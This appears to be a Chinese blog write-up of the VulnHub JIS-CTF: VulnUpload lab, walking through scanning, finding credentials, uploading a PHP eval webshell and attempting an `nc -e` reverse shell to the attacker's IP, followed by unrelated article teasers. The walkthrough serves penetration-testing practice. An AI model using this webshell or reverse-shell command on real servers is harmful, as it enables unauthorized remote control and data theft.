JIS-CTF: VulnUpload靶场渗透
JIS-CTF: VulnUpload来自
<https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24

靶机IP地址192.168.23.162,攻击机IP地址192.168.23.140
3,扫描靶机端口服务
nmap -sS -sV -n -T4 -p- -A192.168.23.162

端口和服务:
- 22/tcp:SSH服务(OpenSSH 7.2p2,运行在Ubuntu 4ubuntu2.1版本上)。
- 80/tcp:HTTP服务(Apache 2.4.18,运行在Ubuntu上)。
SSH 主机密钥:
- RSA:2048 af:b9:68:38:77:7c:40:f6:bf:98:09:ff:d9:5f:73:ec
- ECDSA:256 b9:df:60:1e:6d:6f:d7:f6:24:fd:ae:f8:e3:cf:16:ac
- ED25519:256 78:5a:95:bb:d5:bf:ad:cf:b2:f5:0f:c0:0c:af:f7:76
HTTP 信息:
- 网页标题:Sign-Up/Login Form(注册/登录表单)
- 请求的资源:login.php
- 服务器标头:Apache/2.4.18 (Ubuntu)
- robots.txt 文件中禁止访问的目录:
- /、/backup、/admin、/admin_area、/r00t、/uploads、/uploaded_files、/flag 等
设备和操作系统信息:
- MAC 地址:00:0C:29:71:5F:82(表示此设备是虚拟机,使用 VMware)。
- 设备类型:一般用途设备。
- 操作系统:运行 Linux 3.x 或 4.x 版本。
- 操作系统细节:Linux 内核版本范围为 3.2 到 4.9。
- 网络距离:距离扫描主机 1 跳。
4,访问80端口开放的HTTP服务

初始就是一个登录页面
5,爆破扫描出其存在的子目录页面
dirsearch -u http://192.168.23.162 -x 404,403

存在robots.txt查看一下

/backup 什么都没有
/admin 什么都没有
/admin_area

/r00t 什么都没有
/uploads 什么都没有
/uploaded_files 一片空白
/flag

信息收集得到第一个flag,The 1st flag is : {8734509128730458630012095}
http://192.168.23.162/js/index.js

1. 表单标签的动态效果:
通过绑定 keyup, blur, 和 focus 事件,动态地改变表单元素前面标签(label)的样式,以实现标签的浮动效果,增强用户交互体验。
- keyup 事件:每当用户输入时触发。
- 如果输入框(input 或 textarea)的值为空,标签移除 active 和 highlight 类,表示标签回到默认位置。
- 如果输入框有值,标签添加 active 和 highlight 类,标签上浮。
- blur 事件:当输入框失去焦点时触发。
- 如果输入框的值为空,标签移除 active 和 highlight 类,标签恢复原位。
- 如果输入框有值,标签只移除 highlight 类(但保留 active 类),标签保持浮动状态。
- focus 事件:当输入框获得焦点时触发。
- 如果输入框为空,标签移除 highlight 类。
- 如果输入框有值,标签添加 highlight 类,标签会有高亮效果。
2. 标签切换效果:
通过 click 事件绑定在 .tab a 元素上,实现标签的切换效果。具体步骤如下:
- click 事件:当用户点击标签时触发。
- 阻止默认的跳转行为(e.preventDefault()),因为标签是通过显示和隐藏内容来切换的,不需要进行页面跳转。
- 当前点击的标签的父元素(<li>)被添加 active 类,同时去除兄弟元素的 active 类,实现当前标签的高亮。
- 根据点击的标签的 href 属性(即对应的目标区域 div),找到目标内容区并显示。
- 使用 fadeIn(600) 使目标内容区淡入,显示出来,同时隐藏其他非目标内容区。
总结:
- 表单动态标签效果:输入框获得或失去焦点时,标签会根据输入框的内容浮动或回到原位,以提高用户体验。
- 标签切换效果:通过点击标签(如 Tab 切换),用户可以在多个内容区之间切换,显示对应的内容区域,使用淡入效果使界面更平滑。
http://192.168.23.162/assets/ 更像是一个目录

6,再对登录页面的指纹信息进行扫描,看看是否存在因为版本过低而产生的漏洞

jQuery 是一个快速、简洁的 JavaScript 库,旨在简化 HTML 文档遍历、事件处理、动画效果以及 Ajax 与服务器端的交互。它通过提供简洁的 API,使得开发者能够更轻松地操作 DOM(文档对象模型)、处理事件、动画和与服务器的交互。

没有明显的公开漏洞利用exp
7,再sqlmap自动化测试有无sql注入漏洞,首先burp suite抓一个标准的的登录请求包

没有token也没有cookie,这个登录界面是比较简陋的。将请求信息写入sql.txt,然后开始自动化测试
sqlmap -r sql.txt --level 5 --risk 3 --batch

sql注入失败
8,在进一步信息收集过程,查看view-source:http://192.168.23.162/admin_area/页面源代码,得到疑似账户密码的重要信息

username : admin
password : 3v1l_H@ck3r
信息收集得到第二个flag The 2nd flag is : {7412574125871236547895214}
尝试登录

登录成功,提供了一个用于上传文件的功能页面
9,编写一句话木马尝试上传
<?php @eval($_POST['shell']);?>

上传成功,只是需要找到文件上传位置的绝对路径。根据信息收集的结果,推测是存在于http://192.168.23.162/uploaded_files/shell.php。一句话木马配合webshell工具蚁剑使用,获得网站控制权

10,下一步就是反弹shell,使kali攻击机能够获取服务器的shell
nc -e /bin/bash 192.168.23.140 4444

nc-e 被禁用了,需要更换反弹shell的命令,姑且先进行信息收集,看能不能找到线索

服务器路径/var/www/html/flag.txt是空的,没有内容。/var/www/html/hint.txt文件藏在第三个flag

并且给予了新的提示,尝试找到用户 technawi 的密码,以便读取 flag.txt 文件,它可以在一个隐藏的文件中找到
11,然后就需要漫长的找flag.txt,其中应该包含了technawi用户的密码
grep -sr '4th flag' /
成功找到flag4,路径/etc/mysql/conf.d/credentials.txt

username : technawi
password : 3vilH@ksor
12,在nmap扫描的时候看到存在22端口ssh服务,尝试一下登录

13,信息收集一下,当前用户权限还是比较低的

最后得到第五个flag cat /var/www/html/flag.txt

14 ,最后稀里糊涂的提权成功了

一共五个flag,主要是信息收集,文件上传,蚁剑的使用。没有什么做题价值
相关文章:
JIS-CTF: VulnUpload靶场渗透
JIS-CTF: VulnUpload来自 <https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/> 1,将两台虚拟机网络连接都改为NAT模式 2,攻击机上做namp局域网扫描发现靶机 nmap -sn 192.168.23.0/24 靶机IP地址192.168.23.162,攻击机IP地址192.168.23.140…...
BGP-面试
简单介绍一下BGP BGP,边界网关协议,属于路径矢量路由协议。属于触发式更新或者增量更新。具有丰富的路由策略,能够灵活的进行路由选择。重心不是在路由学习,而是路由优选、更高效的传递路由和维护大量的路由信息。基于TCP…...
Git-安装与常用命令
目录 1.Git环境配置 1.1下载 1.2配置 1.2.1基本配置 1.2.2常用指令配置别名 1.2.3获取本地仓库 git命令在git bash中演示,会用到一些Linux命令。 1.Git环境配置 1.1下载 Git下载地址:https://git-scm.com/download 傻瓜式安装就可以了。 安装…...
回归预测 | Matlab实现基于BiLSTM-Adaboost双向长短期记忆神经网络结合Adaboost集成学习回归预测
目录 效果一览基本介绍模型设计程序设计参考资料效果一览 基本介绍 回归预测 | Matlab实现基于BiLSTM-Adaboost双向长短期记忆神经网络结合Adaboost集成学习回归预测 模型设计 基于BiLSTM-Adaboost的回归预测模型结合了双向长短期记忆神经网络(BiLSTM)和Adaboost集成学习的…...
微信小程序跳转其他小程序以及跳转网站
一、跳转其他小程序 1.1 知道appid和页面路径 wx.navigateToMiniProgram({appId: appid, // 替换为目标小程序 AppIDpath: pathWithParams, // 小程序路径envVersion: release, // 开发版、体验版或正式版success(res) {console.log("跳转到其他小程序成功!&q…...
Not using native diff for overlay2, this may cause degraded performance……
问题现象 案例:Anolis 8.9(4.19.91-26.an8.x86_64) Overlay2存储驱动程序) 当我们安装好Docker之后,通过systemctl status docker -l 会发现有一个告警信息:levelwarning msg"Not using native dif…...
【自用】管材流转项目 数据库恢复之 PIPE 表 二维码相关 各个表恢复 SQL
总览 1.后端前端和数据库 PIPE 页面的关系 2.后端批量生成二维码 jpg 图片 3.为了保证 PIPE 正常使用的调整 4.TRANSFORM(流转表) 一、后端前端和数据库 PIPE 页面的关系 1.前端 关于PIPE页面,首先,在前端,我们已经…...
【渗透测试】信息收集二
其他信息收集 在渗透测试中,历史漏洞信息收集是一项重要的工作,以下是相关介绍: 历史漏洞信息收集的重要性 提高效率:通过收集目标系统或应用程序的历史漏洞信息,可以快速定位可能存在的安全问题,避免重复…...
测试工程师八股文04|计算机网络 和 其他
一、计算机网络 1、http和https的区别 HTTP和HTTPS是用于在互联网上传输数据的协议。它们都是应用层协议,建立在TCP/IP协议栈之上,用于客户端(如浏览器)和服务器之间的通信。 ①http和https的主要区别在于安全性。http是一种明…...
定时/延时任务-Kafka时间轮源码分析
文章目录 1. 概要2. TimingWheel2.1 核心参数2.2 添加任务2.3 推进时间 3. TimerTaskList3.1 添加节点3.2 删除节点3.3 刷新链表3.4 队列相关 4. 时间轮链表节点-TimerTaskEntry5. TimerTask6. Timer 和 SystemTimer - 设计降级逻辑7. 上层调用8. 小结 1. 概要 时间轮的文章&a…...
如何用状态图进行设计05
到目前为止,我们已经讨论了状态图的原理。这些原理对状态图和扩展状态图都适用。第二章后面的部分主要讲述了扩展状态图的扩展功能。我们将围绕这些增强的功能,使你对BetterState Pro的设计能力有很好的了解。 关于这些内容和其他有关扩展状态图特性的完…...
【计算机视觉】边缘检测
图像的边缘简单来说就是图像中灰度不连续的地方。 1.图像梯度 图像梯度是指图像像素灰度值在某个方向上的变化;图像梯度是图像的一阶导数,实际计算时可以使用差分来近似。 1.1 什么是图像梯度? 图像梯度是一种数学工具,用于描…...
林曦词典|无聊
“林曦词典”是在水墨画家林曦的课堂与访谈里,频频邂逅的话语,总能生发出无尽的思考。那些悠然轻快的、微妙纷繁的,亦或耳熟能详的词,经由林曦老师的独到解析,意蕴无穷,让人受益。于是,我们将诸…...
LabVIEW光栅衍射虚拟仿真系统
随着现代教育技术的快速发展,虚拟仿真实验平台逐渐成为物理实验教学的重要辅助工具。基于LabVIEW的平面透射光栅虚拟仿真系统帮助学生更好地理解和分析光栅衍射现象,提高教学质量和学生的学习兴趣。 项目背景 在波动光学的教学中,光栅衍射实…...
【NumPy进阶】:内存视图、性能优化与高级线性代数
目录 1. 深入理解 NumPy 的内存视图与拷贝1.1 内存视图(View)1.1.1 创建视图1.1.2 视图的特点 1.2 数组拷贝(Copy)1.2.1 创建拷贝1.2.2 拷贝的特点 1.3 视图与拷贝的选择 2. NumPy 的优化与性能提升技巧2.1 向量化操作示例&#x…...
从YOLOv5到训练实战:易用性和扩展性的加强
文章目录 前言一、模型介绍二、YOLOv5网络结构1.Input(输入端):智能预处理与优化策略2.Backbone(骨干网络):高效特征提取3.NECK(颈部):特征增强与多尺度融合4.Prediction…...
Prim 算法在不同权重范围内的性能分析及其实现
Prim 算法在不同权重范围内的性能分析及其实现 1. 边权重取值在 1 到 |V| 范围内伪代码C 代码实现2. 边权重取值在 1 到常数 W 之间结论Prim 算法是一种用于求解加权无向图的最小生成树(MST)的经典算法。它通过贪心策略逐步扩展生成树,确保每次选择的边都是当前生成树到未加…...
canal安装使用
简介 canal [kənl],译意为水道/管道/沟渠,主要用途是基于 MySQL 数据库增量日志解析,提供增量数据订阅和消费 工作原理 canal 模拟 MySQL slave 的交互协议,伪装自己为 MySQL slave ,向 MySQL master 发送 dump 协议…...
python爬虫常用数据保存模板(Excel、CSV、mysql)——scrapy中常用数据提取方法(CSS、XPATH、正则)(23)
文章目录 1、常用数据保存模板2.1 保存为Excel格式2.2 保存为CSV格式2.3 保存至mysql数据库2、scrapy中常用数据提取方法2.1 XPath选择器2.2 CSS选择器2.3 正则表达式1、常用数据保存模板 2.1 保存为Excel格式 # 1、导入模块 from openpyxl import workbook# 2、创建一个exce…...
You need to call SQLitePCL.raw.SetProvider()
在.NET环境中使用Entity Framework Core(EF Core)连接SQLite数据库时,报错。 使用框架 .NET8 错误信息: Exception: You need to call SQLitePCL.raw.SetProvider(). If you are using a bundle package, this is done by calling…...
web vue 项目 Docker化部署
Web 项目 Docker 化部署详细教程 目录 Web 项目 Docker 化部署概述Dockerfile 详解 构建阶段生产阶段 构建和运行 Docker 镜像 1. Web 项目 Docker 化部署概述 Docker 化部署的主要步骤分为以下几个阶段: 构建阶段(Build Stage):…...
大数据学习栈记——Neo4j的安装与使用
本文介绍图数据库Neofj的安装与使用,操作系统:Ubuntu24.04,Neofj版本:2025.04.0。 Apt安装 Neofj可以进行官网安装:Neo4j Deployment Center - Graph Database & Analytics 我这里安装是添加软件源的方法 最新版…...
React 第五十五节 Router 中 useAsyncError的使用详解
前言 useAsyncError 是 React Router v6.4 引入的一个钩子,用于处理异步操作(如数据加载)中的错误。下面我将详细解释其用途并提供代码示例。 一、useAsyncError 用途 处理异步错误:捕获在 loader 或 action 中发生的异步错误替…...
synchronized 学习
学习源: https://www.bilibili.com/video/BV1aJ411V763?spm_id_from333.788.videopod.episodes&vd_source32e1c41a9370911ab06d12fbc36c4ebc 1.应用场景 不超卖,也要考虑性能问题(场景) 2.常见面试问题: sync出…...
CMake基础:构建流程详解
目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...
基于服务器使用 apt 安装、配置 Nginx
🧾 一、查看可安装的 Nginx 版本 首先,你可以运行以下命令查看可用版本: apt-cache madison nginx-core输出示例: nginx-core | 1.18.0-6ubuntu14.6 | http://archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages ng…...
Python爬虫(一):爬虫伪装
一、网站防爬机制概述 在当今互联网环境中,具有一定规模或盈利性质的网站几乎都实施了各种防爬措施。这些措施主要分为两大类: 身份验证机制:直接将未经授权的爬虫阻挡在外反爬技术体系:通过各种技术手段增加爬虫获取数据的难度…...
是否存在路径(FIFOBB算法)
题目描述 一个具有 n 个顶点e条边的无向图,该图顶点的编号依次为0到n-1且不存在顶点与自身相连的边。请使用FIFOBB算法编写程序,确定是否存在从顶点 source到顶点 destination的路径。 输入 第一行两个整数,分别表示n 和 e 的值(1…...
均衡后的SNRSINR
本文主要摘自参考文献中的前两篇,相关文献中经常会出现MIMO检测后的SINR不过一直没有找到相关数学推到过程,其中文献[1]中给出了相关原理在此仅做记录。 1. 系统模型 复信道模型 n t n_t nt 根发送天线, n r n_r nr 根接收天线的 MIMO 系…...
初学 pytest 记录
安装 pip install pytest用例可以是函数也可以是类中的方法 def test_func():print()class TestAdd: # def __init__(self): 在 pytest 中不可以使用__init__方法 # self.cc 12345 pytest.mark.api def test_str(self):res add(1, 2)assert res 12def test_int(self):r…...
